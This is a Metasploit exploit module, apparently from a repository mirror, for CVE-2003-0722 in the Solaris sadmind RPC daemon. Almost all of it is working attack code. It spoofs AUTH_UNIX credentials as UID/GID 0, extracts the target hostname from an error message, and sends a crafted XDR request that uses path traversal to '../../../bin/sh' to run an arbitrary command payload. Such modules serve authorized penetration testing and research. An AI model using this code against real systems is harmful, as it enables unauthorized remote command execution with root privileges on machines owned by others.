Files
metasploit-gs/modules/exploits/solaris/sunrpc/sadmind_exec.rb
T

149 lines
4.6 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::SunRPC
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Solaris sadmind Command Execution',
'Description' => %q{
This exploit targets a weakness in the default security settings of
the Sun Solstice AdminSuite distributed system administration daemon
(sadmind) RPC application. This server is installed and enabled by
default on most versions of the Solaris operating system.
Vulnerable systems include Solaris 2.7, 8, and 9.
},
'Author' => [
'vlad902 <vlad902[at]gmail.com>',
'hdm',
'cazz',
'midnitesnake'
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2003-0722'],
['OSVDB', '4585'],
['BID', '8615']
],
'Privileged' => true,
'Platform' => %w[solaris unix],
'Arch' => ARCH_CMD,
'Payload' => {
'Space' => 2000,
'BadChars' => "\x00",
'DisableNops' => true,
'EncoderType' => Msf::Encoder::Type::CmdPosixPerl,
'Compat' => {
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl telnet ksh'
}
},
'Targets' => [ ['Automatic', {}], ],
'DisclosureDate' => '2003-09-13',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('HOSTNAME', [false, 'Remote hostname', nil]),
OptInt.new('GID', [false, 'GID to emulate', 0]),
OptInt.new('UID', [false, 'UID to emulate', 0])
])
end
def check
port = sunrpc_create('udp', 100232, 10)
port.nil? ? CheckCode::Safe : CheckCode::Detected
ensure
sunrpc_destroy unless rpcobj.nil?
end
def exploit
sunrpc_create('udp', 100232, 10)
sunrpc_authunix('localhost', datastore['UID'], datastore['GID'], [])
if !datastore['HOSTNAME']
print_status('Attempting to determine hostname')
response = sadmind_request(rand_text_alpha(rand(1..10)), 'true')
unless response
fail_with(Failure::Unreachable, 'No response')
end
match = /Security exception on host (.*)\. USER/.match(response)
unless match
fail_with(Failure::Unknown, 'Unable to determine hostname')
end
hostname = match.captures[0]
print_status("Found hostname: #{hostname}")
else
hostname = datastore['HOSTNAME']
end
sunrpc_authunix(hostname, datastore['UID'], datastore['GID'], [])
print_status("Sending payload (#{payload.encoded.length} bytes) ...")
response = sadmind_request(hostname, payload.encoded)
if /Security exception on host/.match(response)
fail_with(Failure::Unknown, "Security exception for hostname '#{hostname}' (UID #{datastore['UID']} and GID #{datastore['GID']}).")
end
print_good('Exploit did not give us an error, this is good.')
select(nil, nil, nil, 1)
ensure
sunrpc_destroy unless rpcobj.nil?
end
def sadmind_request(host, command)
header = Rex::Encoder::XDR.encode(0) * 7
header << Rex::Encoder::XDR.encode(
6, 0, 0, 0, 4, 0, 4, 0x7f000001, 100232, 10,
4, 0x7f000001, 100232, 10, 17, 30, 0, 0, 0, 0,
host, 'system', '../../../bin/sh'
)
body =
do_int('ADM_FW_VERSION', 1) +
do_string('ADM_LANG', 'C') +
do_string('ADM_REQUESTID', '00009:000000000:0') +
do_string('ADM_CLASS', 'system') +
do_string('ADM_CLASS_VERS', '2.1') +
do_string('ADM_METHOD', '../../../bin/sh') +
do_string('ADM_HOST', host) +
do_string('ADM_CLIENT_HOST', host) +
do_string('ADM_CLIENT_DOMAIN', '') +
do_string('ADM_TIMEOUT_PARMS', 'TTL=0 PTO=20 PCNT=2 PDLY=30') +
do_int('ADM_FENCE', 0) +
do_string('X', '-c') +
do_string('Y', command) +
Rex::Encoder::XDR.encode('netmgt_endofargs')
request = header + Rex::Encoder::XDR.encode(header.length + body.length - 326) + body
ret = sunrpc_call(1, request)
return Rex::Encoder::XDR.decode!(ret, Integer, Integer, String)[2]
end
def do_string(str1, str2)
Rex::Encoder::XDR.encode(str1, 9, str2.length + 1, str2, 0, 0)
end
def do_int(str, int)
Rex::Encoder::XDR.encode(str, 3, 4, int, 0, 0)
end
end